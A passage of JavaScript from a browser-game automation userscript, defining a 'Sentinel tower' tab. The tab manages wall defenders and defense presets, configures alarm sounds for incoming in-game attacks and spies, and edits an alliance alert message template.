						t.attackTimer = setTimeout(t.spyAttackTick, retryDelay * 1000);
					}
				});
			},
			marchTick: function() {
				var t = Tabs.Spies;
				clearTimeout(t.marchTimer);
				Marches.updateTable(document.getElementById(UID['tabSpy_Marches']), 'spies');
				t.marchTimer = setTimeout(t.marchTick, 1000);
			}
		}

		/******************************** Tower Tab **********************************/
		Tabs.Tower = {
			tabOrder: TOWER_TAB_ORDER,
			tabLabel: 'Tower',
			tabDisabled: !TOWER_TAB_ENABLE,
			container: null,
			alarmTimer: null,
			deleteTimer: null,
			fetchTimer: null,
			logTab: null,
			maxEntries: 100,
			saveEntries: 100,
			readList: [],
			clockTimer: 0,
			checkSetDefenseBusy: false,
			contentType: 0,
			/* 0 = Wall management, 1 = Config, 2 = Message */
			lastSubTab: 'tabTowerWall',
			intervalWarning: 0,
			startup: true,

			init: function(div) {
				var t = Tabs.Tower;
				t.container = div;
				var m = '<div class=' + UID['title'] + '>' + translate('Sentinel tower') + '</div>' + '<div class=' + UID['status_ticker'] + ' style="height:250px; max-height:250px; overflow-y:auto ; margin-bottom:5px ; margin-top:1px !important">' + '	<div id=' + setUID('tabTower_LogList') + ' style="height:227px; max-height:227px; overflow-y:auto ; overflow-x:auto; margin-bottom:1px">' + '		<table id=' + setUID('tabTower_Log') + ' class=' + UID['table_console'] + ' cellpadding=0 cellspacing=1 width=100%>' + '		</table>' + '	</div>' + '	<div id=' + setUID('tabTower_Warning') + ' valign=bottom></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabTowerWall') + '>' + translate('Wall management') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabTowerConfig') + '>' + translate('Config') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabTowerMessage') + '>' + translate('Message') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabTower_Content') + ' style="padding-top:0px; height:405px; overflow-y:auto"></div>' + '<div id=' + setUID('tabTower_SwfPlayer') + '></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabTowerWall']).addEventListener('click', t.tabTowerWall, false);
				document.getElementById(UID['tabTowerConfig']).addEventListener('click', t.tabTowerConfig, false);
				document.getElementById(UID['tabTowerMessage']).addEventListener('click', t.tabTowerMessage, false);
				t.logTab = document.getElementById(UID['tabTower_Log']);
				Data.options.messages_tower = [];
				t.printTab();
				t.deleteTick();
				Messages.addAlarmReportListener(t.gotAlarmReport);
				window.addEventListener('unload', t.onUnload, false);
				t.contentType = toNum(Data.options.tower.current_tab);
				t.show();
				t.startup = false;
			},

			tabTowerWall: function() {
				var t = Tabs.Tower;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabTowerWall']).className = 'selected';
				document.getElementById(UID['tabTowerWall']).style.zIndex = 1;
				t.lastSubTab = 'tabTowerWall';

				var wallStatus = translate((Seed.cities[CAPITAL.id].defended) ? 'Defend' : 'Hiding').toUpperCase();
				t.contentType = 0;
				var m = '<div class="' + UID['title'] + '">' + translate('Wall management') + '</div>' + '<div id=' + setUID('tabTower_HistoryList') + ' class=' + UID['status_ticker'] + ' style="height:355px; max-height:355px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important">' + '	<table class=' + UID['table_targets'] + ' style="margin-top:3px" width=100%>' + '		<tr valign=top>' + '			<td width=25%><label><input id=' + setUID('tabTower_AllDef') + ' type=button value="' + translate('Troops max') + '" /></label></td>' + '			<td width=25%><label><input id=' + setUID('tabTower_NoDef') + ' type=button value="' + translate('remove-all') + '" /></label></td>' + '			<td width=50% align=right><b>' + translate('wall-defense-strategy') + ':</b>' + '			&nbsp <input id=' + setUID('tabTower_setWallStat') + ' type=button value=' + wallStatus + ' class=' + UID[(Seed.cities[CAPITAL.id].defended ? 'btn_off' : 'btn_on')] + '></input></td>' + '		</tr>' + '	</table>' + '	<table class=' + UID['table_targets'] + ' style="margin-top:3px" width=100%>' + '		<tr valign=top>' + '			<td width=25%><div id=' + setUID('tabTower_SelPreset') + '></div></td>' + '			<td align=left width=65%><div id=' + setUID('tabTower_PresetTroops') + '></div></td>' + '			<td align=left width=10%><div id=' + setUID('tabTower_PresetButton') + '></div></td>' + '		</tr>' + '	</table>' + '	<div id=' + setUID('tabTower_DefForce') + '></div>' + '</div>';
				document.getElementById(UID['tabTower_Content']).innerHTML = m;
				document.getElementById(UID['tabTower_AllDef']).addEventListener('click', onClickAllDef, false);
				document.getElementById(UID['tabTower_NoDef']).addEventListener('click', onClickNoDef, false);
				document.getElementById(UID['tabTower_setWallStat']).addEventListener('click', switchDefense, false);
				document.getElementById(UID['tabTower_SelPreset']).addEventListener('change', onChangePreset, false);
				dispDefenseForce();
				displayPresetList();
				dispPresetForce();

				function dispDefenseForce() {
					var city = Seed.cities[CAPITAL.id];
					var m = '<table class=' + UID['row_style'] + ' style="margin-top:3px" width=100%>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=40%>' + translate('Troops') + '</td>' + '		<td width=15%>' + translate('Total') + '</td>' + '		<td width=15%>' + translate('Defense') + '</td>' + '		<td width=15%>' + translate('In city') + '</td>' + '		<td width=15%>' + translate('In march') + '</td>' + '	</tr>';
					for (var i = 0; i < all_unit_types.length; i++) {
						var numTroops = getTroopNumbers(city, all_unit_types[i]);
						m += '	<tr valign=top>' + '		<td class=right width=40%>' + translate(all_unit_types[i]) + ':</td>' + '		<td align=right width=15%>' + numf(numTroops.total, ' ') + '</td>' + '		<td align=right width=15%>' + ((numTroops.indefense > 0) ? '<b>' + numf(numTroops.indefense, ' ') + '</b>' : numf(numTroops.indefense, ' ')) + '</td>' + '		<td align=right width=15%>' + numf(numTroops.incity, ' ') + '</td>' + '		<td align=right width=15%>' + (numTroops.marches ? '&nbsp;+&nbsp;<b>' + numf(numTroops.marches, ' ') + '</b>' : '') + '</td>' + '	</tr>';
					}
					m += '</table>';
					document.getElementById(UID['tabTower_DefForce']).innerHTML = m;
				}

				function displayPresetList() {
					var t = Tabs.Tower;
					var m = '<select id=' + setUID('tabTower_SelBoxPreset') + '>';
					if (Data.options.wall.presets && Data.options.wall.presets.length > 0) {
						for (var i = 0; i < Data.options.wall.presets.length; i++) {
							m += '<option value="' + Data.options.wall.presets[i].name + '" ' + (Data.options.tower.preset == Data.options.wall.presets[i].name ? 'selected' : '') + '>' + Data.options.wall.presets[i].name + '</option>';
						}
					} else {
						m += '<option value="-" ' + (Data.options.tower.preset == "-" ? 'selected' : '') + '>' + translate('None') + '</option>';
					}
					m += '</select>';
					document.getElementById(UID['tabTower_SelPreset']).innerHTML = m;
				}

				function dispPresetForce() {
					var t = Tabs.Tower;
					var city = Seed.cities[CAPITAL.id];
					var result = '';
					var tRes = [];
					var found = false;
					if (Data.options.tower.preset && Data.options.tower.preset != '-') {
						for (var i = 0; i < Data.options.wall.presets.length && !found; i++) {
							if (Data.options.tower.preset == Data.options.wall.presets[i].name) {
								found = true;
								var trps = Data.options.wall.presets[i].units;
								for (var x in trps) {
									if (trps[x] > 0)
										tRes.push(numf(trps[x], ' ') + ' ' + translate(x));
									else if (trps[x] == -1)
										tRes.push('Max ' + translate(x));
								}
							}
						}
						if (tRes.length > 0) result = tRes.join(', ');
						else result = '---';
					} else result = '---';
					document.getElementById(UID['tabTower_PresetTroops']).innerHTML = '<font color="#000000">' + result + '</font>';
					if (Data.options.tower.preset && Data.options.tower.preset != '-') {
						document.getElementById(UID['tabTower_PresetButton']).innerHTML = '<input id=' + setUID('tabTower_SetDef') + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Set Def') + '" />';
						document.getElementById(UID['tabTower_SetDef']).addEventListener('click', onClickSetDef, false);
					}
				}

				function onChangePreset(event) {
					var t = Tabs.Tower;
					var element = document.getElementById(UID['tabTower_SelBoxPreset']);
					var preset = element.value;
					element.value = preset;
					Data.options.tower.preset = preset;
					dispPresetForce();
				}

				function onClickAllDef() {
					var t = Tabs.Tower;
					var city = Seed.cities[CAPITAL.id];
					var units = {};
					for (var i = 0; i < all_unit_types.length; i++) {
						var numTroops = getTroopNumbers(city, all_unit_types[i]);
						var unit_max = numTroops.incity + numTroops.indefense;
						if (unit_max > 0) units[all_unit_types[i]] = unit_max;
					}
					if (t.checkSetDefenseBusy) return false;
					t.checkSetDefenseBusy = true;
					set_defense_forces(t.container, city.id, units, function() {
						logit(translate('wall-defenders-updated'));
						Tabs.Tower.checkSetDefenseBusy = false;
						dispDefenseForce();
					});
				}

				function onClickNoDef() {
					var t = Tabs.Tower;
					var city = Seed.cities[CAPITAL.id];
					var units = {};
					if (t.checkSetDefenseBusy) return false;
					t.checkSetDefenseBusy = true;
					set_defense_forces(t.container, city.id, units, function() {
						logit(translate('wall-defenders-updated'));
						Tabs.Tower.checkSetDefenseBusy = false;
						dispDefenseForce();
					});
				}

				function onClickSetDef() {
					var t = Tabs.Tower;
					var city = Seed.cities[CAPITAL.id];
					if (Data.options.tower.preset && Data.options.tower.preset != '-') {
						var found = false;
						for (var i = 0; i < Data.options.wall.presets.length && !found; i++) {
							if (Data.options.tower.preset == Data.options.wall.presets[i].name) {
								var presetUnits = Data.options.wall.presets[i].units;
								var units = {};
								for (var pu in presetUnits) {
									var numTroops = getTroopNumbers(city, pu);
									var unit_max = numTroops.incity + numTroops.indefense;
									if (unit_max < presetUnits[pu] || presetUnits[pu] == -1) units[pu] = unit_max;
									else units[pu] = presetUnits[pu];
								}
								if (t.checkSetDefenseBusy) return false;
								t.checkSetDefenseBusy = true;
								set_defense_forces(t.container, city.id, units, function() {
									logit(translate('wall-defenders-updated'));
									Tabs.Tower.checkSetDefenseBusy = false;
									dispDefenseForce();
								});
								found = true;
							}
						}
					}
				}

				function switchDefense(event) {
					var t = Tabs.Tower;
					var button = event.target;
					var cityId = Seed.cities[CAPITAL.id].id;
					var wallStatus = Seed.cities[CAPITAL.id].defended;
					var numTroops = 0;
					for (var i = 0; i < all_unit_types.length; i++) {
						numTroops += getTroopNumbers(Seed.cities[CAPITAL.id], all_unit_types[i]).indefense;
					}
					if (numTroops == 0) return;
					var targMsg = translate('Switching defense');
					verboseLog(targMsg + ' ' + translate('attempted'));
					var dial = new ModalDialog(t.container, 300, 165, '', false, null);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Switch defense wall status');
					new MyAjax.switchDefense(cityId, wallStatus, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('Successfully'));
							actionLog(targMsg);
							button.className = UID[(Seed.cities[CAPITAL.id].defended ? 'btn_off' : 'btn_on')];
							button.value = translate(Seed.cities[CAPITAL.id].defended ? 'Defend' : 'Hiding').toUpperCase();
							dial.destroy();
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
							if (rslt.errmsg)
								dial.getContentDiv().innerHTML = translate('Error while setting defense wall status') + ' : ' + rslt.errmsg;
							else dial.getContentDiv().innerHTML = translate('Error while setting defense wall status');
							dial.allowClose(true);
						}
					});
					var state = Seed.cities[CAPITAL.id].defended;
					button.className = UID[(state ? 'btn_off' : 'btn_on')];
					button.value = translate(state ? 'Defend' : 'Hiding').toUpperCase();
				}
			},

			tabTowerConfig: function() {
				var t = Tabs.Tower;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabTowerConfig']).className = 'selected';
				document.getElementById(UID['tabTowerConfig']).style.zIndex = 1;
				t.lastSubTab = 'tabTowerConfig';

				t.contentType = 1;
				var m = '<div class="' + UID['title'] + '">' + translate('Tower configuration') + '</div>' + '<div id=' + setUID('tabTower_ConfigBox') + ' class=' + UID['status_ticker'] + ' style="height:355px; max-height:355px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important">' + '<table class=' + UID['table'] + ' width=100% style="color:#000;">' + '	<tr valign=top>' + '		<td><label><input id=' + setUID('tabTower_Alert') + ' type=checkbox /></label></td>' + '		<td colspan=2><label>' + translate('Enable the sentinel tower') + '</label></td>' + '	</tr><tr valign=top>' + '		<td></td><td colspan=2><label>' + translate('Check sentinel reports every ') + '</label>' + '		<input id=' + setUID('tabTower_chkTime') + ' size=1 maxlength=2 type=text value="' + Data.options.tower.delay + '" />&nbsp' + '		<select id=' + setUID('tabTower_chkUnit') + ' size=1>' + '			<option value=1 ' + (Data.options.tower.unit == 1 ? 'selected' : '') + '>' + translate('Seconds') + '</option>' + '			<option value=60 ' + (Data.options.tower.unit == 60 ? 'selected' : '') + '>' + translate('minutes') + '</option>' + '			<option value=3600 ' + (Data.options.tower.unit == 3600 ? 'selected' : '') + '>' + translate('hours') + '</option>' + '		</select>' + '		</td>' + '	</tr><tr valign=top>' + '		<td  style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabTower_NoSpy') + ' type=checkbox /></label></td>' + '		<td colspan=2><label>' + translate('Hide spy alerts') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabTower_Del') + ' type=checkbox /></label></td>' + '		<td colspan=2><label>' + translate('Do not show alerts obsolete since') + ' :</label>' + '		<input id=' + setUID('tabTower_DelTime') + ' size=1 maxlength=2 type=text value="' + Data.options.tower.delete_delay + '" />&nbsp' + '		<select id=' + setUID('tabTower_DelUnit') + ' size=1>' + '			<option value=60 ' + (Data.options.tower.delete_unit == 60 ? 'selected' : '') + '>' + translate('minutes') + '</option>' + '			<option value=3600 ' + (Data.options.tower.delete_unit == 3600 ? 'selected' : '') + '>' + translate('hours') + '</option>' + '			<option value=86400 ' + (Data.options.tower.delete_unit == 86400 ? 'selected' : '') + '>' + translate('days') + '</option>' + '		</select>' + '		</td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabTower_SendMsg') + ' type=checkbox /></label></td>' + '		<td colspan=2><label>' + translate('Send a message to alliance members in case of attack') + '</label></td>' + '	</tr>' + '</table>' + '<br>' + '<table class=' + UID['table'] + ' style="color:#000;">' + '	<tr valign=top>' + '		<td colspan=2><b>' + translate('Sound configuration') + ': </b></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabTower_Sound') + ' type=checkbox ' + (Data.options.sound.enable_sentinel ? 'CHECKED ' : '') + '/></label></td>' + '		<td><label>' + translate('Play sound on incoming sentinel report') + '</label></td>' + '	</tr><tr valign=top>' + '		<td></td>' + '		<td><table cellpadding=0 cellspacing=0>' + '				<tr valign=top>' + '					<td><label>' + translate('Attack sound file') + '</label></td>' + '					<td><input id=' + setUID('tabTower_File') + ' size=50 maxlength=160 type=text value="' + Data.options.sound.URL_attack + '" />&nbsp</td>' + '					<td><input id=' + setUID('tabTower_Play') + ' type=submit value=Play>' + '						<input id=' + setUID('tabTower_Stop') + ' type=submit value=Stop>' + '						<input id=' + setUID('tabTower_Default') + ' type=submit value=Default>' + '						<input id=' + setUID('tabTower_Test') + ' type=submit value=Test></td>' + '				</tr><tr valign=top>' + '					<td><label>' + translate('Spy sound file') + '</label></td>' + '					<td><input id=' + setUID('tabTower_SFile') + ' size=50 maxlength=160 type=text value="' + Data.options.sound.URL_spy + '" />&nbsp</td>' + '					<td><input id=' + setUID('tabTower_SPlay') + ' type=submit value=Play>' + '						<input id=' + setUID('tabTower_SStop') + ' type=submit value=Stop>' + '						<input id=' + setUID('tabTower_SDefault') + ' type=submit value=Default>' + '						<input id=' + setUID('tabTower_STest') + ' type=submit value=Test></td>' + '				</tr>' + '			</table>' + '		</td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabTower_Repeat') + ' type=checkbox ' + (Data.options.sound.repeat_attack ? 'CHECKED ' : '') + '/></label></td>' + '		<td><label>' + translate('Repeat attack alarm every') + ' </label>' + '			<input id=' + setUID('tabTower_Every') + ' size=2 maxlength=5 type=text value="' + Data.options.sound.attack_rdelay + '" />' + translate('minutes').toLowerCase() + '</td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabTower_SRepeat') + ' type=checkbox ' + (Data.options.sound.repeat_spy ? 'CHECKED ' : '') + '/></label></td>' + '		<td><label>' + translate('Repeat spy alarm every') + ' </label>' + '			<input id=' + setUID('tabTower_SEvery') + ' size=2 maxlength=5 type=text value="' + Data.options.sound.spy_rdelay + '" />' + translate('minutes').toLowerCase() + '</td>' + '	</tr>' + '</table>' + '</div>';
				document.getElementById(UID['tabTower_Content']).innerHTML = m;
				togOpt(UID['tabTower_Alert'], Data.options.tower.enabled, setEnable);
				togOpt(UID['tabTower_NoSpy'], Data.options.tower.nospy, setEnableNoSpy);
				togOpt(UID['tabTower_Del'], Data.options.tower.delete_report, setDeleteReport);
				togOpt(UID['tabTower_SendMsg'], Data.options.tower.send_message, setEnableMsg);
				document.getElementById(UID['tabTower_chkTime']).addEventListener('change', timeChanged, false);
				document.getElementById(UID['tabTower_chkUnit']).addEventListener('change', unitChanged, false);
				document.getElementById(UID['tabTower_DelTime']).addEventListener('change', timeDeleteChanged, false);
				document.getElementById(UID['tabTower_DelUnit']).addEventListener('change', unitDeleteChanged, false);
				document.getElementById(UID['tabTower_Sound']).addEventListener('change', function(event) {
					Data.options.sound.enable_sentinel = event.target.checked
				}, false);
				document.getElementById(UID['tabTower_Repeat']).addEventListener('change', function(event) {
					Data.options.sound.repeat_attack = event.target.checked
				}, false);
				document.getElementById(UID['tabTower_SRepeat']).addEventListener('change', function(event) {
					Data.options.sound.repeat_spy = event.target.checked
				}, false);
				document.getElementById(UID['tabTower_Every']).addEventListener('change', function(event) {
					Data.options.sound.attack_rdelay = event.target.value
				}, false);
				document.getElementById(UID['tabTower_SEvery']).addEventListener('change', function(event) {
					Data.options.sound.spy_rdelay = event.target.value
				}, false);

				document.getElementById(UID['tabTower_File']).addEventListener('change', function() {
					Data.options.sound.URL_attack = document.getElementById(UID['tabTower_File']).value;
				}, false);
				document.getElementById(UID['tabTower_Play']).addEventListener('click', function() {
					playSound('attack')
				}, false);
				document.getElementById(UID['tabTower_Stop']).addEventListener('click', function() {
					stopSound('attack')
				}, false);
				document.getElementById(UID['tabTower_Default']).addEventListener('click', function() {
					document.getElementById(UID['tabTower_File']).value = SoundPlayer.DEFAULT_SOUND_URL.attack;
					Data.options.sound.URL_attack = SoundPlayer.DEFAULT_SOUND_URL.attack;
					playSound('attack');
				}, false);
				document.getElementById(UID['tabTower_Test']).addEventListener('click', testAlarmReport, false);
				document.getElementById(UID['tabTower_Stop']).disabled = true;

				document.getElementById(UID['tabTower_SFile']).addEventListener('change', function() {
					Data.options.sound.URL_spy = document.getElementById(UID['tabTower_SFile']).value;
				}, false);
				document.getElementById(UID['tabTower_SPlay']).addEventListener('click', function() {
					playSound('spy')
				}, false);
				document.getElementById(UID['tabTower_SStop']).addEventListener('click', function() {
					stopSound('spy')
				}, false);
				document.getElementById(UID['tabTower_SDefault']).addEventListener('click', function() {
					document.getElementById(UID['tabTower_SFile']).value = SoundPlayer.DEFAULT_SOUND_URL.spy;
					Data.options.sound.URL_spy = SoundPlayer.DEFAULT_SOUND_URL.spy;
					playSound('spy');
				}, false);
				document.getElementById(UID['tabTower_STest']).addEventListener('click', testSpyReport, false);
				document.getElementById(UID['tabTower_SStop']).disabled = true;

				function playSound(type) {
					var t = Tabs.Tower;
					try {
						if (type == 'attack')
							document.getElementById(UID['tabTower_Stop']).disabled = false;
						else document.getElementById(UID['tabTower_SStop']).disabled = false;
					} catch (e) {}
					SoundPlayer.PlaySound(type, true);
				}

				function setEnable(onOff) {
					var t = Tabs.Tower;
					Data.options.tower.enabled = onOff;
				}

				function setEnableMsg(onOff) {
					var t = Tabs.Tower;
					Data.options.tower.send_message = onOff;
				}

				function setEnableNoSpy(onOff) {
					var t = Tabs.Tower;
					Data.options.tower.nospy = onOff;
					t.printTab();
				}

				function setDeleteReport(onOff) {
					var t = Tabs.Tower;
					Data.options.tower.delete_report = onOff;
					t.deleteTick();
				}

				function stopSound(type) {
					var t = Tabs.Tower;
					SoundPlayer.StopSound(type);
					if (type == 'attack')
						document.getElementById(UID['tabTower_Stop']).disabled = true;
					else document.getElementById(UID['tabTower_SStop']).disabled = true;
				}

				function testAlarmReport() {
					var t = Tabs.Tower;
					var test_units = cloneProps(Data.options.attacks.units[1]);
					var test_troupes = '';
					var results = [];
					for (var p in test_units) {
						if (test_units[p] > 0) {
							var unit = numf(test_units[p], ' ') + ' ' + translate(p);
							results.push(unit);
						}
					}
					if (results.length > 0) test_troups = results.join(', ');
					var now = toNum(new Date().getTime());
					var test_date = new Date(now + 155000);
					var msg = {
						id: 1,
						type: 0,
						arrive_at: test_date,
						alliance: 'Tower alarm test',
						x: 0,
						y: 0,
						units: test_units,
						troups: test_troups,
						general: 0,
						op: (Seed.cities[WATER_OUTPOST.id] ? Seed.cities[WATER_OUTPOST.id].id : 0)
					};
					Data.options.messages_tower.push(msg);
					t._addTab(msg, false);
				}

				function testSpyReport() {
					var t = Tabs.Tower;
					var test_units = {
						spy: 1
					};
					var test_troups = '1 ' + translate('spy');
					var now = toNum(new Date().getTime());
					var test_date = new Date(now + 105000);
					var msg = {
						id: 1,
						type: 1,
						arrive_at: test_date,
						alliance: 'Tower alarm test',
						x: 0,
						y: 0,
						units: test_units,
						troups: test_troups,
						general: 0,
						op: (Seed.cities[CAPITAL.id] ? Seed.cities[CAPITAL.id].id : 0)
					};
					Data.options.messages_tower.push(msg);
					t._addTab(msg, false);
				}

				function timeChanged(event) {
					var t = Tabs.Tower;
					var etime = document.getElementById(UID['tabTower_chkTime']);
					var time = toNum(etime.value);
					etime.value = time;
					Data.options.tower.delay = time;
				}

				function timeDeleteChanged(event) {
					var t = Tabs.Tower;
					var etime = document.getElementById(UID['tabTower_DelTime']);
					var time = toNum(etime.value);
					etime.value = time;
					Data.options.tower.delete_delay = time;
					t.deleteTick();
				}

				function togOpt(checkboxId, optionVar, callEnable, callIsAvailable) {
					var t = Tabs.Tower;
					var checkbox = document.getElementById(checkboxId);
					if (callIsAvailable && callIsAvailable() == false) {
						checkbox.disabled = true;
						return;
					}
					if (optionVar) checkbox.checked = true;
					checkbox.addEventListener('change', new eventToggle(checkboxId, optionVar, callEnable).handler, false);

					function eventToggle(checkboxId, optionVar, callOnChange) {
						this.handler = handler;
						var optVar = optionVar;
						var callback = callOnChange;

						function handler(event) {
							optVar = this.checked;
							if (callback != null)
								callback(this.checked);
						}
					}
				}

				function unitChanged(event) {
					var t = Tabs.Tower;
					var eunit = document.getElementById(UID['tabTower_chkUnit']);
					var unit = toNum(eunit.value);
					eunit.value = unit;
					Data.options.tower.unit = unit;
				}

				function unitDeleteChanged(event) {
					var t = Tabs.Tower;
					var eunit = document.getElementById(UID['tabTower_DelUnit']);
					var unit = toNum(eunit.value);
					eunit.value = unit;
					Data.options.tower.delete_unit = unit;
					t.deleteTick();
				}
			},

			tabTowerMessage: function() {
				var t = Tabs.Tower;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabTowerMessage']).className = 'selected';
				document.getElementById(UID['tabTowerMessage']).style.zIndex = 1;
				t.lastSubTab = 'tabTowerMessage';

				t.contentType = 2;
				var m = '<div class="' + UID['title'] + '">' + translate('Message configuration') + '</div>' + '<div id=' + setUID('tabTower_MsgBox') + ' class=' + UID['status_ticker'] + ' style="height:355px; max-height:355px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important">' + '<table class=' + UID['table'] + ' width=100% style="color:#000;">' + '	<tr valign=top>' + '		<td><label>' + translate('Subject') + ' :</label></td>' + '		<td><input id=' + setUID('tabTower_subject') + ' size=50 maxlength=160 type=text value="' + Data.options.tower.msg_subject + '" /></td>' + '	</tr><tr valign=top>' + '		<td><label>' + translate('Message') + ' :</label></td>' + '		<td><textarea id=' + setUID('tabTower_body') + ' cols="60" rows="10" wrap="PHYSICAL">' + Data.options.tower.msg_body + '</textarea></td>' + '	</tr>' + '</table>' + '<br>' + '<table class=' + UID['table'] + ' style="color:#000;">' + '	<tr valign=top>' + '		<td><b>' + translate('Parameters') + ' :</b></td>' + '	</tr><tr valign=top>' + '		<td><label>%1 = ' + translate('Ennemy name and alliance') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label>%2 = ' + translate('Ennemy coordinates') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label>%3 = ' + translate('Attack forces') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label>%4 = ' + translate('Attack arrival time') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label>%5 = ' + translate('My name') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label>%6 = ' + translate('My city/OP name where the attack is coming') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label>%7 = ' + translate('My city/OP coordinates') + '</label></td>' + '	</tr>' + '</table>' + '</div>';
				document.getElementById(UID['tabTower_Content']).innerHTML = m;
				document.getElementById(UID['tabTower_subject']).addEventListener('change', function() {
					Data.options.tower.msg_subject = document.getElementById(UID['tabTower_subject']).value
				}, false);
				document.getElementById(UID['tabTower_body']).addEventListener('change', function() {
					Data.options.tower.msg_body = document.getElementById(UID['tabTower_body']).value
				}, false);
			},

			onUnload: function() {
				var t = Tabs.Tower;
				logit('===============  Tabs.Tower.onUnload');
			},
			hide: function() {
				var t = Tabs.Tower;
				Data.options.tower.current_tab = t.contentType;
				clearInterval(t.intervalWarning);
			},
			show: function() {
				var t = Tabs.Tower;
				t.intervalWarning = setInterval(t.displayWarning, 1000);
				switch (t.contentType || 0) {
					case 0:
						t.tabTowerWall();
						break;
					case 1:
						t.tabTowerConfig();
						break;
					case 2:
						t.tabTowerMessage();
						break;
				}
			},
			displayWarning: function() {
				var t = Tabs.Tower;
				var m = SoundPlayer.alertString.replace('&incoming_spy&', (SoundPlayer.getFirstAlert()).spy).replace('&incoming_attack&', (SoundPlayer.getFirstAlert()).attack);
				document.getElementById(UID['tabTower_Warning']).innerHTML = m;
			},
			printTab: function() {
				var t = Tabs.Tower;
				t.logTab.innerHTML = '';
				t._addTab('', true);
				for (var i = 0; i < Data.options.messages_tower.length; i++)
					t._addTab(Data.options.messages_tower[i], false);
			},
			_addTab: function(msg, head) {
				var t = Tabs.Tower;
				if (!head && Data.options.tower.nospy && msg.type == 1)
					return;
				var rows = t.logTab.getElementsByTagName('tr');
				var rowCount = rows.length;
				var row = t.logTab.insertRow((head == true ? 0 : 1));
				row.vAlign = 'top';
				if (head) {
					row.id = 0;
					row.className = UID['row_headers'];
				} else {
					if (rowCount % 2 == 1) row.style.backgroundColor = "White";
					else row.style.backgroundColor = "rgb(239,239,224)";
					row.id = msg.id;
				}
				var cell;
				var txt;
				for (var i = 0; i < 5; i++) {
					cell = row.insertCell(i);
					if (head) {
						switch (i) {
							case 0:
								txt = translate('Type');
								break;
							case 1:
								txt = translate('Arrival time');
								break;
							case 2:
								txt = translate('Attacker');
								break;
							case 3:
								txt = translate('Alliance');
								break;
							default:
								txt = translate('Troops');
								break;
						}
					} else {
						switch (i) {
							case 0:
								txt = (msg.type == 0 ? translate('Attack') : translate('Spy'));
								if (toNum(msg.op) != 0) txt = txt + getCityType(toNum(msg.op));
								break;
							case 1:
								if (msg.arrive_at != 0) txt = new Date(msg.arrive_at).formatDate() + ' ' + new Date(msg.arrive_at).formatTime();
								else txt = '';
								break;
							case 2:
								if (msg.x != -1) txt = msg.x + ',' + msg.y;
								else txt = '';
								break;
							case 3:
								txt = msg.alliance;
								break;
							default:
								txt = msg.troups;
								break;
						}
					}
					cell.innerHTML = txt;
					if (i > 2) cell.width = '30%';
					else if (i == 2) cell.width = '10%';
					else cell.width = '15%';
					if (head) {
						cell.style.fontWeight = 'bold';
					} else {
						cell.style.fontWeight = 'normal';
						cell.style.color = 'Black';
					}
				}
				if (!head && msg.type == 0 && msg.op != 0) {
					if (document.getElementById(UID['goto_reinforcement'])) {
						document.getElementById(UID['goto_reinforcement']).addEventListener('click', function(event) {
							var cityId = document.getElementById(UID['goto_reinforcement']).getAttribute('ref');
							if (toNum(cityId) != 0) Data.options.alliance.reinforce_id = cityId;
							var t = tabManager;
							for (k in t.tabList)
								if (t.tabList[k].name == 'Alliance') {
									var newTab = t.tabList[k];
									break;
								}
							if (t.currentTab.name != newTab.name) {
								t.setTabStyle(document.getElementById(newTab.uid), true);
								t.setTabStyle(document.getElementById(t.currentTab.uid), false);
								t.currentTab.obj.hide();
								t.currentTab.div.style.display = 'none';
								t.currentTab = newTab;
								newTab.div.style.display = 'block';
								Data.options.currentTab = newTab.name;
							}
							newTab.obj.show();
							Tabs.Alliance.tabAllianceReinforcement();
						}, false);
					}
				}
			},
			removeRow: function(msg) {
				var t = Tabs.Tower;
				for (var i = 0; i < t.logTab.rows.length; i++) {
					if (t.logTab.rows[i].id == msg.id) {
						t.logTab.deleteRow(i);
						break;
					}
				}
			},
			deleteTick: function() {
				var t = Tabs.Tower;
				clearTimeout(t.deleteTimer);
				if (Data.options.tower.delete_report) {
					var d;
					for (var i = Data.options.messages_tower.length - 1; i >= 0; i--) {
						d = Date.parse(Data.options.messages_tower[i].arrive_at) / 1000;
						var now = toNum(serverTime());
						var diff = now - d;
						if (diff >= Data.options.tower.delete_delay * Data.options.tower.delete_unit) {
							t.removeRow(Data.options.messages_tower[i]);
							Data.options.messages_tower.splice(i, 1);
						}
					}
					t.deleteTimer = setTimeout(t.deleteTick, Data.options.tower.delete_delay * Data.options.tower.delete_unit * 1000);
				}
			},
			gotAlarmReport: function(rpt_alm, msgid) {
				var t = Tabs.Tower;
